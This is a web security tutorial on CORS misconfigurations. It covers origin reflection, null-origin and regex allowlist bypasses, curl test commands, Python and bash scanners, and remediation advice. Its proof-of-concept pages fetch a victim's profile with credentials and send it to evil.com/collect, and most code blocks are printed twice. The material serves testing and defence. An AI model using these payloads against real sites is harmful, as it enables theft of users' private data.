CORS Misconfiguration
Cross-Origin Resource Sharing (CORS) misconfigurations can allow attackers to steal sensitive data, perform actions on behalf of users, and bypass same-origin policy protections.
⚠️ Why CORS Misconfigurations Are Dangerous
💡 Real-World Impact: CORS misconfigurations have led to account takeovers in major bug bounty programs including Uber, Facebook, and numerous financial applications.
CORS Fundamentals
Access-Control-Allow-Origin, Access-Control-Allow-Credentials)
to tell the browser whether a cross-origin request should be allowed. Misconfiguration occurs when these
headers are too permissive.
🛠️ CORS Testing Tools
curl
Manual CORS header testing
curl -sI -H "Origin: ..." Understanding CORS Headers
| Header | Purpose | Dangerous Values |
|---|---|---|
Access-Control-Allow-Origin | Specifies allowed origins | * or reflected origin |
Access-Control-Allow-Credentials | Allows sending cookies/auth | true with permissive ACAO |
Access-Control-Allow-Methods | Permitted HTTP methods | PUT, DELETE, PATCH unnecessarily |
Access-Control-Allow-Headers | Permitted request headers | * or Authorization |
Access-Control-Expose-Headers | Headers accessible to JS | Sensitive headers exposed |
1. Origin Reflection (Most Critical)
The server blindly reflects any Origin header value in the Access-Control-Allow-Origin
response. Combined with Access-Control-Allow-Credentials: true, this allows full data theft.
# Test for origin reflection
curl -sI -H "Origin: https://evil.com" https://target.com/api/user/profile
# Look for:
# Access-Control-Allow-Origin: https://evil.com
# Access-Control-Allow-Credentials: true
# If both present → CRITICAL: Full authenticated data theft possible# Test for origin reflection
curl -sI -H "Origin: https://evil.com" https://target.com/api/user/profile
# Look for:
# Access-Control-Allow-Origin: https://evil.com
# Access-Control-Allow-Credentials: true
# If both present → CRITICAL: Full authenticated data theft possibleExploitation PoC
<!-- Steal authenticated user data via CORS misconfiguration -->
<html>
<body>
<h2>CORS Exploit PoC</h2>
<script>
// This runs on attacker's site (evil.com)
fetch('https://target.com/api/user/profile', {
credentials: 'include' // Send victim's cookies
})
.then(response => response.json())
.then(data => {
// Exfiltrate the victim's data
console.log('Stolen data:', JSON.stringify(data));
// Send to attacker's server
fetch('https://evil.com/collect', {
method: 'POST',
body: JSON.stringify(data)
});
});
</script>
</body>
</html><!-- Steal authenticated user data via CORS misconfiguration -->
<html>
<body>
<h2>CORS Exploit PoC</h2>
<script>
// This runs on attacker's site (evil.com)
fetch('https://target.com/api/user/profile', {
credentials: 'include' // Send victim's cookies
})
.then(response => response.json())
.then(data => {
// Exfiltrate the victim's data
console.log('Stolen data:', JSON.stringify(data));
// Send to attacker's server
fetch('https://evil.com/collect', {
method: 'POST',
body: JSON.stringify(data)
});
});
</script>
</body>
</html>2. Null Origin Bypass
Some applications allowlist the null origin, which can be triggered from sandboxed iframes,
data: URIs, and local file origins.
# Test for null origin acceptance
curl -sI -H "Origin: null" https://target.com/api/user/profile
# Look for:
# Access-Control-Allow-Origin: null
# Access-Control-Allow-Credentials: true# Test for null origin acceptance
curl -sI -H "Origin: null" https://target.com/api/user/profile
# Look for:
# Access-Control-Allow-Origin: null
# Access-Control-Allow-Credentials: true<!-- Exploit null origin via sandboxed iframe -->
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="
<script>
fetch('https://target.com/api/user/profile', {
credentials: 'include'
})
.then(r => r.json())
.then(d => {
// Origin will be 'null' from sandboxed iframe
fetch('https://evil.com/collect?data=' + btoa(JSON.stringify(d)));
});
</script>
"></iframe><!-- Exploit null origin via sandboxed iframe -->
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="
<script>
fetch('https://target.com/api/user/profile', {
credentials: 'include'
})
.then(r => r.json())
.then(d => {
// Origin will be 'null' from sandboxed iframe
fetch('https://evil.com/collect?data=' + btoa(JSON.stringify(d)));
});
</script>
"></iframe>3. Wildcard with Credentials
While browsers block Access-Control-Allow-Origin: * with credentials, some servers
work around this by dynamically reflecting the origin when credentials are needed — creating the
same vulnerability as origin reflection.
# Wildcard is safe for public APIs (no credentials)
Access-Control-Allow-Origin: *
# ↑ Browser will NOT send cookies with this
# DANGEROUS: Server reflects origin to work around wildcard limitation
# Request: Origin: https://evil.com
# Response:
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
# ↑ Server dynamically reflects any origin to allow credentials# Wildcard is safe for public APIs (no credentials)
Access-Control-Allow-Origin: *
# ↑ Browser will NOT send cookies with this
# DANGEROUS: Server reflects origin to work around wildcard limitation
# Request: Origin: https://evil.com
# Response:
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
# ↑ Server dynamically reflects any origin to allow credentials4. Regex & Allowlist Bypass
Many applications use regex or string-matching to validate origins. Poorly implemented checks can be bypassed.
# If server checks: origin.endsWith("target.com")
# Bypass with:
Origin: https://eviltarget.com
Origin: https://attackertarget.com
# If server checks: origin.includes("target.com")
# Bypass with:
Origin: https://target.com.evil.com
Origin: https://evil.com?target.com
# If server checks: origin matches /^https://.*.target.com$/
# Bypass with (if dot not escaped):
Origin: https://evilXtarget.com
# Subdomain-based bypass
Origin: https://evil.target.com
# (if any subdomain is accepted and attacker can claim one via takeover)
# Protocol downgrade
Origin: http://target.com
# (if https/http not distinguished)# If server checks: origin.endsWith("target.com")
# Bypass with:
Origin: https://eviltarget.com
Origin: https://attackertarget.com
# If server checks: origin.includes("target.com")
# Bypass with:
Origin: https://target.com.evil.com
Origin: https://evil.com?target.com
# If server checks: origin matches /^https://.*.target.com$/
# Bypass with (if dot not escaped):
Origin: https://evilXtarget.com
# Subdomain-based bypass
Origin: https://evil.target.com
# (if any subdomain is accepted and attacker can claim one via takeover)
# Protocol downgrade
Origin: http://target.com
# (if https/http not distinguished)5. Pre-flight Request Handling
Complex requests trigger a preflight OPTIONS request. Mishandling of preflight can expose additional attack vectors.
# Test preflight handling
curl -X OPTIONS -sI \
-H "Origin: https://evil.com" \
-H "Access-Control-Request-Method: PUT" \
-H "Access-Control-Request-Headers: Authorization,X-Custom-Header" \
https://target.com/api/data
# Check what methods and headers are allowed
# Look for overly permissive responses:
# Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH
# Access-Control-Allow-Headers: *
# Also check if preflight is cached too long:
# Access-Control-Max-Age: 86400 ← 24 hours, changes take effect slowly# Test preflight handling
curl -X OPTIONS -sI \
-H "Origin: https://evil.com" \
-H "Access-Control-Request-Method: PUT" \
-H "Access-Control-Request-Headers: Authorization,X-Custom-Header" \
https://target.com/api/data
# Check what methods and headers are allowed
# Look for overly permissive responses:
# Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH
# Access-Control-Allow-Headers: *
# Also check if preflight is cached too long:
# Access-Control-Max-Age: 86400 ← 24 hours, changes take effect slowlyAutomation Scripts
#!/usr/bin/env python3
"""CORS Misconfiguration Scanner"""
import requests
import sys
from urllib.parse import urlparse
def test_cors(url):
"""Test for common CORS misconfigurations"""
results = []
parsed = urlparse(url)
tests = [
# Origin reflection
{"Origin": "https://evil.com"},
# Null origin
{"Origin": "null"},
# Subdomain matching bypass
{"Origin": f"https://evil.{parsed.netloc}"},
# Prefix match bypass
{"Origin": f"https://{parsed.netloc}.evil.com"},
# Scheme downgrade
{"Origin": f"http://{parsed.netloc}"},
]
for headers in tests:
try:
resp = requests.get(url, headers=headers, timeout=10)
acao = resp.headers.get("Access-Control-Allow-Origin", "")
acac = resp.headers.get("Access-Control-Allow-Credentials", "")
if acao == headers["Origin"]:
severity = "CRITICAL" if acac.lower() == "true" else "HIGH"
results.append({
"origin": headers["Origin"],
"reflected": acao,
"credentials": acac,
"severity": severity
})
except requests.RequestException as e:
print(f" [-] Error testing {headers}: {e}")
return results
if __name__ == "__main__":
target = sys.argv[1] if len(sys.argv) > 1 else "https://example.com"
print(f"[*] Testing CORS on: {target}")
findings = test_cors(target)
if findings:
for f in findings:
print(f" [!] {f['severity']}: Origin '{f['origin']}' reflected")
print(f" ACAO: {f['reflected']}")
print(f" Credentials: {f['credentials']}")
else:
print(" [+] No CORS misconfigurations found")#!/usr/bin/env python3
"""CORS Misconfiguration Scanner"""
import requests
import sys
from urllib.parse import urlparse
def test_cors(url):
"""Test for common CORS misconfigurations"""
results = []
parsed = urlparse(url)
tests = [
# Origin reflection
{"Origin": "https://evil.com"},
# Null origin
{"Origin": "null"},
# Subdomain matching bypass
{"Origin": f"https://evil.{parsed.netloc}"},
# Prefix match bypass
{"Origin": f"https://{parsed.netloc}.evil.com"},
# Scheme downgrade
{"Origin": f"http://{parsed.netloc}"},
]
for headers in tests:
try:
resp = requests.get(url, headers=headers, timeout=10)
acao = resp.headers.get("Access-Control-Allow-Origin", "")
acac = resp.headers.get("Access-Control-Allow-Credentials", "")
if acao == headers["Origin"]:
severity = "CRITICAL" if acac.lower() == "true" else "HIGH"
results.append({
"origin": headers["Origin"],
"reflected": acao,
"credentials": acac,
"severity": severity
})
except requests.RequestException as e:
print(f" [-] Error testing {headers}: {e}")
return results
if __name__ == "__main__":
target = sys.argv[1] if len(sys.argv) > 1 else "https://example.com"
print(f"[*] Testing CORS on: {target}")
findings = test_cors(target)
if findings:
for f in findings:
print(f" [!] {f['severity']}: Origin '{f['origin']}' reflected")
print(f" ACAO: {f['reflected']}")
print(f" Credentials: {f['credentials']}")
else:
print(" [+] No CORS misconfigurations found")#!/bin/bash
# Quick CORS misconfiguration check
TARGET="$1"
echo "[*] Testing CORS: $TARGET"
# Test 1: Origin reflection
echo -e "\n--- Test: Arbitrary Origin ---"
curl -sI -H "Origin: https://evil.com" "$TARGET" | grep -i "access-control"
# Test 2: Null origin
echo -e "\n--- Test: Null Origin ---"
curl -sI -H "Origin: null" "$TARGET" | grep -i "access-control"
# Test 3: Subdomain trick
DOMAIN=$(echo "$TARGET" | awk -F/ '{print $3}')
echo -e "\n--- Test: Subdomain Bypass ---"
curl -sI -H "Origin: https://evil.$DOMAIN" "$TARGET" | grep -i "access-control"
# Test 4: Preflight with dangerous methods
echo -e "\n--- Test: Preflight Request ---"
curl -sI -X OPTIONS \
-H "Origin: https://evil.com" \
-H "Access-Control-Request-Method: PUT" \
-H "Access-Control-Request-Headers: X-Custom" \
"$TARGET" | grep -i "access-control"
# Test 5: Wildcard + credentials
echo -e "\n--- Test: Wildcard Check ---"
curl -sI -H "Origin: https://anything.com" "$TARGET" | grep -i "access-control"#!/bin/bash
# Quick CORS misconfiguration check
TARGET="$1"
echo "[*] Testing CORS: $TARGET"
# Test 1: Origin reflection
echo -e "\n--- Test: Arbitrary Origin ---"
curl -sI -H "Origin: https://evil.com" "$TARGET" | grep -i "access-control"
# Test 2: Null origin
echo -e "\n--- Test: Null Origin ---"
curl -sI -H "Origin: null" "$TARGET" | grep -i "access-control"
# Test 3: Subdomain trick
DOMAIN=$(echo "$TARGET" | awk -F/ '{print $3}')
echo -e "\n--- Test: Subdomain Bypass ---"
curl -sI -H "Origin: https://evil.$DOMAIN" "$TARGET" | grep -i "access-control"
# Test 4: Preflight with dangerous methods
echo -e "\n--- Test: Preflight Request ---"
curl -sI -X OPTIONS \
-H "Origin: https://evil.com" \
-H "Access-Control-Request-Method: PUT" \
-H "Access-Control-Request-Headers: X-Custom" \
"$TARGET" | grep -i "access-control"
# Test 5: Wildcard + credentials
echo -e "\n--- Test: Wildcard Check ---"
curl -sI -H "Origin: https://anything.com" "$TARGET" | grep -i "access-control"Bulk Testing with Nuclei
# Scan a list of URLs for CORS misconfigurations
cat urls.txt | nuclei -t http/misconfiguration/cors/ -o cors_results.txt
# CORScanner for comprehensive testing
python3 cors_scan.py -i urls.txt -t 20
# Corsy
python3 corsy.py -i urls.txt --headers "Cookie: session=abc123"# Scan a list of URLs for CORS misconfigurations
cat urls.txt | nuclei -t http/misconfiguration/cors/ -o cors_results.txt
# CORScanner for comprehensive testing
python3 cors_scan.py -i urls.txt -t 20
# Corsy
python3 corsy.py -i urls.txt --headers "Cookie: session=abc123"High-Impact Exploitation Scenarios
💳 Account Data Theft
Steal user profile data, API keys, personal information, and payment details from authenticated API endpoints.
🔑 Token Extraction
Extract CSRF tokens, API keys, or session data from responses to chain with other attacks.
🔄 State-Changing Actions
Perform authenticated mutations (password change, email update, money transfer) if CORS allows methods and credentials.
🏗️ Internal Network Probing
Exploit CORS on internal applications to pivot from an XSS on a public app to internal API data theft.
🛡️ Remediation & Defense
Defensive Measures
Origin Validation
- • Use a strict allowlist of permitted origins (exact string match)
- • Never reflect the
Originheader without validation - • Reject
nullorigin unless specifically required - • Validate both scheme and hostname (don't allow HTTP for HTTPS sites)
Header Configuration
- • Only set
Access-Control-Allow-Credentials: truewhen absolutely needed - • Restrict
Access-Control-Allow-Methodsto minimum required - • Limit
Access-Control-Expose-Headersto non-sensitive headers - • Use short
Access-Control-Max-Agevalues for preflight caching
Architecture
- • Implement CORS at the reverse proxy/gateway level for consistency
- • Use server-side proxying instead of CORS where possible
- • Audit CORS configuration regularly in CI/CD
- • Add CORS checks to security testing pipeline
Monitoring
- • Log cross-origin requests with credentials
- • Alert on CORS requests from unexpected origins
- • Monitor for CORS policy changes in production
- • Test CORS configuration after deployments
CWE References: CWE-942 (Permissive Cross-domain Policy), CWE-346 (Origin Validation Error)
✅ CORS Testing Checklist
- ☐ Arbitrary origin reflection
- ☐ Null origin acceptance
- ☐ Subdomain-based bypass
- ☐ Prefix/suffix matching flaws
- ☐ Protocol downgrade (http→https)
- ☐ Credentials allowed with permissive ACAO
- ☐ Wildcard methods allowed
- ☐ Sensitive headers exposed
- ☐ Preflight caching duration
- ☐ Vary: Origin header present
- ☐ Sensitive data readable cross-origin
- ☐ State-changing actions possible
- ☐ Token/credential extraction
- ☐ Document PoC with evidence
- ☐ Rate CVSS appropriately
🧪 Practice Labs
PortSwigger CORS Labs
Free interactive CORS exploitation labs
DVWA
Damn Vulnerable Web Application with CORS challenges
Evidence Collection
Origin Reflection: Capture the full HTTP request/response showing the server reflecting an attacker-controlled Origin in Access-Control-Allow-Origin along with Access-Control-Allow-Credentials: true.
Credential Inclusion: Demonstrate that cookies or Authorization headers are sent cross-origin by showing the browser's request with credentials and the server's permissive CORS response.
Data Exfiltration PoC: Create a proof-of-concept HTML page hosted on an attacker domain that reads sensitive data cross-origin — screenshot the stolen data rendered on the attacker page.
Null Origin Bypass: If the server trusts Origin: null, document the iframe sandbox or data: URI technique used to trigger it and the resulting data access.
CVSS Range: 5.3 (information disclosure without credentials) – 8.8 (full account takeover via credentialed cross-origin requests)
False Positive Identification
- Public API by Design: APIs serving public data may intentionally use Access-Control-Allow-Origin: * — this is safe when no credentials are involved and responses contain no sensitive data.
- No Credentials Flag: Wildcard origin without Access-Control-Allow-Credentials: true means cookies are never sent cross-origin — the risk is limited to public data leakage.
- Preflight Blocked: If the server correctly rejects OPTIONS preflight requests from untrusted origins, the actual cross-origin request never executes despite permissive headers on simple requests.
- Internal Network Only: CORS misconfigurations on internal-only APIs require the attacker to already have network access — assess whether the target is internet-facing before escalating severity.